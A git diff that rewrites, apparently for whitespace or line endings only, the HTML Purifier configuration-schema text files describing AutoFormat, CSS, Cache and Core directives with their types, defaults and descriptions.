    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.txt index f3ab259a1b..7996488be0 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.txt @@ -1,12 +1,12 @@ -AutoFormat.PurifierLinkify -TYPE: bool -VERSION: 2.0.1 -DEFAULT: false ---DESCRIPTION-- - -

    - Internal auto-formatter that converts configuration directives in - syntax %Namespace.Directive to links. a tags - with the href attribute must be allowed. -

    ---# vim: et sw=4 sts=4 +AutoFormat.PurifierLinkify +TYPE: bool +VERSION: 2.0.1 +DEFAULT: false +--DESCRIPTION-- + +

    + Internal auto-formatter that converts configuration directives in + syntax %Namespace.Directive to links. a tags + with the href attribute must be allowed. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.Predicate.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.Predicate.txt index 376f771ea2..6367fe23c9 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.Predicate.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.Predicate.txt @@ -1,14 +1,14 @@ -AutoFormat.RemoveEmpty.Predicate -TYPE: hash -VERSION: 4.7.0 -DEFAULT: array('colgroup' => array(), 'th' => array(), 'td' => array(), 'iframe' => array('src')) ---DESCRIPTION-- -

    - Given that an element has no contents, it will be removed by default, unless - this predicate dictates otherwise. The predicate can either be an associative - map from tag name to list of attributes that must be present for the element - to be considered preserved: thus, the default always preserves colgroup, - th and td, and also iframe if it - has a src. -

    ---# vim: et sw=4 sts=4 +AutoFormat.RemoveEmpty.Predicate +TYPE: hash +VERSION: 4.7.0 +DEFAULT: array('colgroup' => array(), 'th' => array(), 'td' => array(), 'iframe' => array('src')) +--DESCRIPTION-- +

    + Given that an element has no contents, it will be removed by default, unless + this predicate dictates otherwise. The predicate can either be an associative + map from tag name to list of attributes that must be present for the element + to be considered preserved: thus, the default always preserves colgroup, + th and td, and also iframe if it + has a src. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions.txt index 219d04ac4c..35c393b4e6 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions.txt @@ -1,11 +1,11 @@ -AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions -TYPE: lookup -VERSION: 4.0.0 -DEFAULT: array('td' => true, 'th' => true) ---DESCRIPTION-- -

    - When %AutoFormat.RemoveEmpty and %AutoFormat.RemoveEmpty.RemoveNbsp - are enabled, this directive defines what HTML elements should not be - removede if they have only a non-breaking space in them. -

    ---# vim: et sw=4 sts=4 +AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions +TYPE: lookup +VERSION: 4.0.0 +DEFAULT: array('td' => true, 'th' => true) +--DESCRIPTION-- +

    + When %AutoFormat.RemoveEmpty and %AutoFormat.RemoveEmpty.RemoveNbsp + are enabled, this directive defines what HTML elements should not be + removede if they have only a non-breaking space in them. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.txt index e557ad2163..9228dee228 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.RemoveNbsp.txt @@ -1,15 +1,15 @@ -AutoFormat.RemoveEmpty.RemoveNbsp -TYPE: bool -VERSION: 4.0.0 -DEFAULT: false ---DESCRIPTION-- -

    - When enabled, HTML Purifier will treat any elements that contain only - non-breaking spaces as well as regular whitespace as empty, and remove - them when %AutoFormat.RemoveEmpty is enabled. -

    -

    - See %AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions for a list of elements - that don't have this behavior applied to them. -

    ---# vim: et sw=4 sts=4 +AutoFormat.RemoveEmpty.RemoveNbsp +TYPE: bool +VERSION: 4.0.0 +DEFAULT: false +--DESCRIPTION-- +

    + When enabled, HTML Purifier will treat any elements that contain only + non-breaking spaces as well as regular whitespace as empty, and remove + them when %AutoFormat.RemoveEmpty is enabled. +

    +

    + See %AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions for a list of elements + that don't have this behavior applied to them. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.txt index 6b5a7a5c9a..34657ba47b 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.txt @@ -1,46 +1,46 @@ -AutoFormat.RemoveEmpty -TYPE: bool -VERSION: 3.2.0 -DEFAULT: false ---DESCRIPTION-- -

    - When enabled, HTML Purifier will attempt to remove empty elements that - contribute no semantic information to the document. The following types - of nodes will be removed: -

    -
    • - Tags with no attributes and no content, and that are not empty - elements (remove <a></a> but not - <br />), and -
    • -
    • - Tags with no content, except for:
        -
      • The colgroup element, or
      • -
      • - Elements with the id or name attribute, - when those attributes are permitted on those elements. -
      • -
    • -
    -

    - Please be very careful when using this functionality; while it may not - seem that empty elements contain useful information, they can alter the - layout of a document given appropriate styling. This directive is most - useful when you are processing machine-generated HTML, please avoid using - it on regular user HTML. -

    -

    - Elements that contain only whitespace will be treated as empty. Non-breaking - spaces, however, do not count as whitespace. See - %AutoFormat.RemoveEmpty.RemoveNbsp for alternate behavior. -

    -

    - This algorithm is not perfect; you may still notice some empty tags, - particularly if a node had elements, but those elements were later removed - because they were not permitted in that context, or tags that, after - being auto-closed by another tag, where empty. This is for safety reasons - to prevent clever code from breaking validation. The general rule of thumb: - if a tag looked empty on the way in, it will get removed; if HTML Purifier - made it empty, it will stay. -

    ---# vim: et sw=4 sts=4 +AutoFormat.RemoveEmpty +TYPE: bool +VERSION: 3.2.0 +DEFAULT: false +--DESCRIPTION-- +

    + When enabled, HTML Purifier will attempt to remove empty elements that + contribute no semantic information to the document. The following types + of nodes will be removed: +

    +
    • + Tags with no attributes and no content, and that are not empty + elements (remove <a></a> but not + <br />), and +
    • +
    • + Tags with no content, except for:
        +
      • The colgroup element, or
      • +
      • + Elements with the id or name attribute, + when those attributes are permitted on those elements. +
      • +
    • +
    +

    + Please be very careful when using this functionality; while it may not + seem that empty elements contain useful information, they can alter the + layout of a document given appropriate styling. This directive is most + useful when you are processing machine-generated HTML, please avoid using + it on regular user HTML. +

    +

    + Elements that contain only whitespace will be treated as empty. Non-breaking + spaces, however, do not count as whitespace. See + %AutoFormat.RemoveEmpty.RemoveNbsp for alternate behavior. +

    +

    + This algorithm is not perfect; you may still notice some empty tags, + particularly if a node had elements, but those elements were later removed + because they were not permitted in that context, or tags that, after + being auto-closed by another tag, where empty. This is for safety reasons + to prevent clever code from breaking validation. The general rule of thumb: + if a tag looked empty on the way in, it will get removed; if HTML Purifier + made it empty, it will stay. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveSpansWithoutAttributes.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveSpansWithoutAttributes.txt index a448770e50..dde990ab26 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveSpansWithoutAttributes.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveSpansWithoutAttributes.txt @@ -1,11 +1,11 @@ -AutoFormat.RemoveSpansWithoutAttributes -TYPE: bool -VERSION: 4.0.1 -DEFAULT: false ---DESCRIPTION-- -

    - This directive causes span tags without any attributes - to be removed. It will also remove spans that had all attributes - removed during processing. -

    ---# vim: et sw=4 sts=4 +AutoFormat.RemoveSpansWithoutAttributes +TYPE: bool +VERSION: 4.0.1 +DEFAULT: false +--DESCRIPTION-- +

    + This directive causes span tags without any attributes + to be removed. It will also remove spans that had all attributes + removed during processing. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowDuplicates.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowDuplicates.txt index acfeab3c87..4d054b1f07 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowDuplicates.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowDuplicates.txt @@ -1,11 +1,11 @@ -CSS.AllowDuplicates -TYPE: bool -DEFAULT: false -VERSION: 4.8.0 ---DESCRIPTION-- -

    - By default, HTML Purifier removes duplicate CSS properties, - like color:red; color:blue. If this is set to - true, duplicate properties are allowed. -

    ---# vim: et sw=4 sts=4 +CSS.AllowDuplicates +TYPE: bool +DEFAULT: false +VERSION: 4.8.0 +--DESCRIPTION-- +

    + By default, HTML Purifier removes duplicate CSS properties, + like color:red; color:blue. If this is set to + true, duplicate properties are allowed. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txt index 8096eb01ae..b324608f76 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowImportant.txt @@ -1,8 +1,8 @@ -CSS.AllowImportant -TYPE: bool -DEFAULT: false -VERSION: 3.1.0 ---DESCRIPTION-- -This parameter determines whether or not !important cascade modifiers should -be allowed in user CSS. If false, !important will stripped. ---# vim: et sw=4 sts=4 +CSS.AllowImportant +TYPE: bool +DEFAULT: false +VERSION: 3.1.0 +--DESCRIPTION-- +This parameter determines whether or not !important cascade modifiers should +be allowed in user CSS. If false, !important will stripped. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txt index 9d34debc45..748be0eec8 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowTricky.txt @@ -1,11 +1,11 @@ -CSS.AllowTricky -TYPE: bool -DEFAULT: false -VERSION: 3.1.0 ---DESCRIPTION-- -This parameter determines whether or not to allow "tricky" CSS properties and -values. Tricky CSS properties/values can drastically modify page layout or -be used for deceptive practices but do not directly constitute a security risk. -For example, display:none; is considered a tricky property that -will only be allowed if this directive is set to true. ---# vim: et sw=4 sts=4 +CSS.AllowTricky +TYPE: bool +DEFAULT: false +VERSION: 3.1.0 +--DESCRIPTION-- +This parameter determines whether or not to allow "tricky" CSS properties and +values. Tricky CSS properties/values can drastically modify page layout or +be used for deceptive practices but do not directly constitute a security risk. +For example, display:none; is considered a tricky property that +will only be allowed if this directive is set to true. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedFonts.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedFonts.txt index 7c2b54763e..3fd4654065 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedFonts.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedFonts.txt @@ -1,12 +1,12 @@ -CSS.AllowedFonts -TYPE: lookup/null -VERSION: 4.3.0 -DEFAULT: NULL ---DESCRIPTION-- -

    - Allows you to manually specify a set of allowed fonts. If - NULL, all fonts are allowed. This directive - affects generic names (serif, sans-serif, monospace, cursive, - fantasy) as well as specific font families. -

    ---# vim: et sw=4 sts=4 +CSS.AllowedFonts +TYPE: lookup/null +VERSION: 4.3.0 +DEFAULT: NULL +--DESCRIPTION-- +

    + Allows you to manually specify a set of allowed fonts. If + NULL, all fonts are allowed. This directive + affects generic names (serif, sans-serif, monospace, cursive, + fantasy) as well as specific font families. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txt index f1ba513c3f..460112ebe0 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txt @@ -1,18 +1,18 @@ -CSS.AllowedProperties -TYPE: lookup/null -VERSION: 3.1.0 -DEFAULT: NULL ---DESCRIPTION-- - -

    - If HTML Purifier's style attributes set is unsatisfactory for your needs, - you can overload it with your own list of tags to allow. Note that this - method is subtractive: it does its job by taking away from HTML Purifier - usual feature set, so you cannot add an attribute that HTML Purifier never - supported in the first place. -

    -

    - Warning: If another directive conflicts with the - elements here, that directive will win and override. -

    ---# vim: et sw=4 sts=4 +CSS.AllowedProperties +TYPE: lookup/null +VERSION: 3.1.0 +DEFAULT: NULL +--DESCRIPTION-- + +

    + If HTML Purifier's style attributes set is unsatisfactory for your needs, + you can overload it with your own list of tags to allow. Note that this + method is subtractive: it does its job by taking away from HTML Purifier + usual feature set, so you cannot add an attribute that HTML Purifier never + supported in the first place. +

    +

    + Warning: If another directive conflicts with the + elements here, that directive will win and override. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txt index 96b410829e..5cb7dda3ba 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.DefinitionRev.txt @@ -1,11 +1,11 @@ -CSS.DefinitionRev -TYPE: int -VERSION: 2.0.0 -DEFAULT: 1 ---DESCRIPTION-- - -

    - Revision identifier for your custom definition. See - %HTML.DefinitionRev for details. -

    ---# vim: et sw=4 sts=4 +CSS.DefinitionRev +TYPE: int +VERSION: 2.0.0 +DEFAULT: 1 +--DESCRIPTION-- + +

    + Revision identifier for your custom definition. See + %HTML.DefinitionRev for details. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.ForbiddenProperties.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.ForbiddenProperties.txt index 923e8e995c..f1f5c5f12b 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.ForbiddenProperties.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.ForbiddenProperties.txt @@ -1,13 +1,13 @@ -CSS.ForbiddenProperties -TYPE: lookup -VERSION: 4.2.0 -DEFAULT: array() ---DESCRIPTION-- -

    - This is the logical inverse of %CSS.AllowedProperties, and it will - override that directive or any other directive. If possible, - %CSS.AllowedProperties is recommended over this directive, - because it can sometimes be difficult to tell whether or not you've - forbidden all of the CSS properties you truly would like to disallow. -

    ---# vim: et sw=4 sts=4 +CSS.ForbiddenProperties +TYPE: lookup +VERSION: 4.2.0 +DEFAULT: array() +--DESCRIPTION-- +

    + This is the logical inverse of %CSS.AllowedProperties, and it will + override that directive or any other directive. If possible, + %CSS.AllowedProperties is recommended over this directive, + because it can sometimes be difficult to tell whether or not you've + forbidden all of the CSS properties you truly would like to disallow. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txt index 3808581e2b..7a3291470c 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.MaxImgLength.txt @@ -1,16 +1,16 @@ -CSS.MaxImgLength -TYPE: string/null -DEFAULT: '1200px' -VERSION: 3.1.1 ---DESCRIPTION-- -

    - This parameter sets the maximum allowed length on img tags, - effectively the width and height properties. - Only absolute units of measurement (in, pt, pc, mm, cm) and pixels (px) are allowed. This is - in place to prevent imagecrash attacks, disable with null at your own risk. - This directive is similar to %HTML.MaxImgLength, and both should be - concurrently edited, although there are - subtle differences in the input format (the CSS max is a number with - a unit). -

    ---# vim: et sw=4 sts=4 +CSS.MaxImgLength +TYPE: string/null +DEFAULT: '1200px' +VERSION: 3.1.1 +--DESCRIPTION-- +

    + This parameter sets the maximum allowed length on img tags, + effectively the width and height properties. + Only absolute units of measurement (in, pt, pc, mm, cm) and pixels (px) are allowed. This is + in place to prevent imagecrash attacks, disable with null at your own risk. + This directive is similar to %HTML.MaxImgLength, and both should be + concurrently edited, although there are + subtle differences in the input format (the CSS max is a number with + a unit). +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Proprietary.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Proprietary.txt index 8a26f228dd..148eedb8be 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Proprietary.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Proprietary.txt @@ -1,10 +1,10 @@ -CSS.Proprietary -TYPE: bool -VERSION: 3.0.0 -DEFAULT: false ---DESCRIPTION-- - -

    - Whether or not to allow safe, proprietary CSS values. -

    ---# vim: et sw=4 sts=4 +CSS.Proprietary +TYPE: bool +VERSION: 3.0.0 +DEFAULT: false +--DESCRIPTION-- + +

    + Whether or not to allow safe, proprietary CSS values. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Trusted.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Trusted.txt index 917ec42ba4..e733a61e8a 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Trusted.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Trusted.txt @@ -1,9 +1,9 @@ -CSS.Trusted -TYPE: bool -VERSION: 4.2.1 -DEFAULT: false ---DESCRIPTION-- -Indicates whether or not the user's CSS input is trusted or not. If the -input is trusted, a more expansive set of allowed properties. See -also %HTML.Trusted. ---# vim: et sw=4 sts=4 +CSS.Trusted +TYPE: bool +VERSION: 4.2.1 +DEFAULT: false +--DESCRIPTION-- +Indicates whether or not the user's CSS input is trusted or not. If the +input is trusted, a more expansive set of allowed properties. See +also %HTML.Trusted. +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txt index afc6a87a64..c486724c88 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.DefinitionImpl.txt @@ -1,14 +1,14 @@ -Cache.DefinitionImpl -TYPE: string/null -VERSION: 2.0.0 -DEFAULT: 'Serializer' ---DESCRIPTION-- - -This directive defines which method to use when caching definitions, -the complex data-type that makes HTML Purifier tick. Set to null -to disable caching (not recommended, as you will see a definite -performance degradation). - ---ALIASES-- -Core.DefinitionCache ---# vim: et sw=4 sts=4 +Cache.DefinitionImpl +TYPE: string/null +VERSION: 2.0.0 +DEFAULT: 'Serializer' +--DESCRIPTION-- + +This directive defines which method to use when caching definitions, +the complex data-type that makes HTML Purifier tick. Set to null +to disable caching (not recommended, as you will see a definite +performance degradation). + +--ALIASES-- +Core.DefinitionCache +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txt index 668f248af4..54036507d6 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPath.txt @@ -1,13 +1,13 @@ -Cache.SerializerPath -TYPE: string/null -VERSION: 2.0.0 -DEFAULT: NULL ---DESCRIPTION-- - -

    - Absolute path with no trailing slash to store serialized definitions in. - Default is within the - HTML Purifier library inside DefinitionCache/Serializer. This - path must be writable by the webserver. -

    ---# vim: et sw=4 sts=4 +Cache.SerializerPath +TYPE: string/null +VERSION: 2.0.0 +DEFAULT: NULL +--DESCRIPTION-- + +

    + Absolute path with no trailing slash to store serialized definitions in. + Default is within the + HTML Purifier library inside DefinitionCache/Serializer. This + path must be writable by the webserver. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPermissions.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPermissions.txt index f6059e6720..2e0cc81044 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPermissions.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Cache.SerializerPermissions.txt @@ -1,16 +1,16 @@ -Cache.SerializerPermissions -TYPE: int/null -VERSION: 4.3.0 -DEFAULT: 0755 ---DESCRIPTION-- - -

    - Directory permissions of the files and directories created inside - the DefinitionCache/Serializer or other custom serializer path. -

    -

    - In HTML Purifier 4.8.0, this also supports NULL, - which means that no chmod'ing or directory creation shall - occur. -

    ---# vim: et sw=4 sts=4 +Cache.SerializerPermissions +TYPE: int/null +VERSION: 4.3.0 +DEFAULT: 0755 +--DESCRIPTION-- + +

    + Directory permissions of the files and directories created inside + the DefinitionCache/Serializer or other custom serializer path. +

    +

    + In HTML Purifier 4.8.0, this also supports NULL, + which means that no chmod'ing or directory creation shall + occur. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txt index e0fa378ea8..568cbf3b32 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyFixLt.txt @@ -1,18 +1,18 @@ -Core.AggressivelyFixLt -TYPE: bool -VERSION: 2.1.0 -DEFAULT: true ---DESCRIPTION-- -

    - This directive enables aggressive pre-filter fixes HTML Purifier can - perform in order to ensure that open angled-brackets do not get killed - during parsing stage. Enabling this will result in two preg_replace_callback - calls and at least two preg_replace calls for every HTML document parsed; - if your users make very well-formed HTML, you can set this directive false. - This has no effect when DirectLex is used. -

    -

    - Notice: This directive's default turned from false to true - in HTML Purifier 3.2.0. -

    ---# vim: et sw=4 sts=4 +Core.AggressivelyFixLt +TYPE: bool +VERSION: 2.1.0 +DEFAULT: true +--DESCRIPTION-- +

    + This directive enables aggressive pre-filter fixes HTML Purifier can + perform in order to ensure that open angled-brackets do not get killed + during parsing stage. Enabling this will result in two preg_replace_callback + calls and at least two preg_replace calls for every HTML document parsed; + if your users make very well-formed HTML, you can set this directive false. + This has no effect when DirectLex is used. +

    +

    + Notice: This directive's default turned from false to true + in HTML Purifier 3.2.0. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyRemoveScript.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyRemoveScript.txt index fb140b69db..b2b6ab1496 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyRemoveScript.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyRemoveScript.txt @@ -1,16 +1,16 @@ -Core.AggressivelyRemoveScript -TYPE: bool -VERSION: 4.9.0 -DEFAULT: true ---DESCRIPTION-- -

    - This directive enables aggressive pre-filter removal of - script tags. This is not necessary for security, - but it can help work around a bug in libxml where embedded - HTML elements inside script sections cause the parser to - choke. To revert to pre-4.9.0 behavior, set this to false. - This directive has no effect if %Core.Trusted is true, - %Core.RemoveScriptContents is false, or %Core.HiddenElements - does not contain script. -

    ---# vim: et sw=4 sts=4 +Core.AggressivelyRemoveScript +TYPE: bool +VERSION: 4.9.0 +DEFAULT: true +--DESCRIPTION-- +

    + This directive enables aggressive pre-filter removal of + script tags. This is not necessary for security, + but it can help work around a bug in libxml where embedded + HTML elements inside script sections cause the parser to + choke. To revert to pre-4.9.0 behavior, set this to false. + This directive has no effect if %Core.Trusted is true, + %Core.RemoveScriptContents is false, or %Core.HiddenElements + does not contain script. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AllowHostnameUnderscore.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AllowHostnameUnderscore.txt index 405d36f174..2c910cc7de 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AllowHostnameUnderscore.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AllowHostnameUnderscore.txt @@ -1,16 +1,16 @@ -Core.AllowHostnameUnderscore -TYPE: bool -VERSION: 4.6.0 -DEFAULT: false ---DESCRIPTION-- -

    - By RFC 1123, underscores are not permitted in host names. - (This is in contrast to the specification for DNS, RFC - 2181, which allows underscores.) - However, most browsers do the right thing when faced with - an underscore in the host name, and so some poorly written - websites are written with the expectation this should work. - Setting this parameter to true relaxes our allowed character - check so that underscores are permitted. -

    ---# vim: et sw=4 sts=4 +Core.AllowHostnameUnderscore +TYPE: bool +VERSION: 4.6.0 +DEFAULT: false +--DESCRIPTION-- +

    + By RFC 1123, underscores are not permitted in host names. + (This is in contrast to the specification for DNS, RFC + 2181, which allows underscores.) + However, most browsers do the right thing when faced with + an underscore in the host name, and so some poorly written + websites are written with the expectation this should work. + Setting this parameter to true relaxes our allowed character + check so that underscores are permitted. +

    +--# vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AllowParseManyTags.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AllowParseManyTags.txt index b4b9b102f1..06278f82a1 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AllowParseManyTags.txt +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AllowParseManyTags.txt @@ -1,12 +1,12 @@ -Core.AllowParseManyTags -TYPE: bool -DEFAULT: false -VERSION: 4.10.1 ---DESCRIPTION-- -

    - This directive allows parsing of many nested tags. - If you set true, relaxes any hardcoded limit from the parser. - However, in that case it may cause a Dos attack. - Be careful when enabling it. -

